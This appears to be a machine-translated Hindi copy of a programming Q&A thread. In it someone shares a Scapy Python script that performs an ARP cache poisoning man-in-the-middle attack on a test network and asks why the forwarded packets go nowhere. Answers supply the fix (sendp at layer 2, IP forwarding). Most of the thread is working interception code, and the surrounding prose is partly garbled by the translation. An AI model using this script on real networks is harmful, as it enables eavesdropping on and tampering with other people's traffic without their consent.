2012-09-30 25 views
11

के साथ मध्य हमले में मैन एक परीक्षण नेटवर्क पर scapy के साथ मध्य हमले में एक आदमी को करने की कोशिश कर रहा हूं। , यहाँ enter image description hereस्कैपी

अब जब कि तुम विचार प्राप्त कोड है:: मेरा सेटअप इस तरह है

from scapy.all import * 
import multiprocessing 
import time 
class MITM: 
    packets=[] 
    def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71"),node2=("192.168.116.1", "00:50:56:c0:00:08")): 
    self.victim=victim 
    self.node2=node2 
    multiprocessing.Process(target=self.arp_poison).start() 
    try: 
     sniff(filter='((dst %s) and (src %s)) or ((dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x)) 
    except KeyboardInterrupt as e: 
     wireshark(packets) 
    #self.arp_poison() 
    def routep(self,packet): 
    if packet.haslayer(IP): 
     packet.show() 
     if packet[IP].dst==self.victim[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.victim[1] 
     elif packet[IP].dst==self.node2[0]: 
     packet[Ether].src=packet[Ether].dst 
     packet[Ether].dst=self.node2[1] 
     self.packets.append(packet) 
     packet.display() 
     send(packet) 
     print len(self.packets) 
     if len(self.packets)==10: 
     wireshark(self.packets) 
    def arp_poison(self): 
    a=ARP() 
    a.psrc=self.victim[0] 
    a.pdst=self.node2[0] 
    b=ARP() 
    b.psrc=self.node2[0] 
    b.pdst=self.victim[0] 
    cond=True 
    while cond: 
     send(b) 
     send(a) 
     time.sleep(5) 
     #cond=False 
if __name__=="__main__": 
    mitm=MITM() 

इस कोड VM2 पर चल रहा है।

एआरपी विषाक्तता ठीक काम करती है, मैं दोनों मशीनों के एआरपी कैश की जांच करता हूं और व्यवहार की अपेक्षा की जाती है। लेकिन routep अंदर, मैं src और डीएसटी मैक पते को संशोधित करने और उचित की मेजबानी के लिए प्राप्त पैकेट भेजने का प्रयास करें, Scapy एक चेतावनी देता है:

WARNING: more Mac address to reach destination not found. Using broadcast 

और मैं VM2 पर wireshark में देखते हैं, संशोधित पैकेट छोड़ने नहीं कर रहे हैं यंत्र। ऐसा क्यों होगा? क्या मैं कुछ भूल रहा हूँ?

+1

मुझे लगता है कि आप इसे जटिल बना रहे हैं। आपको केवल सबनेट में जालीदार arp उत्तरों भेजने और अपनी मशीन पर आईपी अग्रेषण सक्षम करने की आवश्यकता है। http://www.secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC

+0

क्या यह स्पष्ट हो सकता है कि आपको स्पष्ट रूप से स्कैपी बताना होगा कि आप मैक परत सहित फ्रेम भेजना और प्राप्त करना चाहते हैं? –

उत्तर

1

यदि आप स्कैपी के send() का उपयोग करते हैं, तो यह तीसरी परत पर काम करता है। स्कैपी के दस्तावेज़ीकरण से:

भेजें() फ़ंक्शन परत 3 पर पैकेट भेजेगा। ऐसा कहने के लिए यह आपके लिए रूटिंग और लेयर 2 को संभालेगा। sendp() फ़ंक्शन परत 2.

पर काम करेंगे आप sendp() उपयोग करने के लिए थे, तो यह गंतव्य के मैक पते के लिए डिफ़ॉल्ट मान का उपयोग नहीं होगा और अपने warning'll चला गया हो।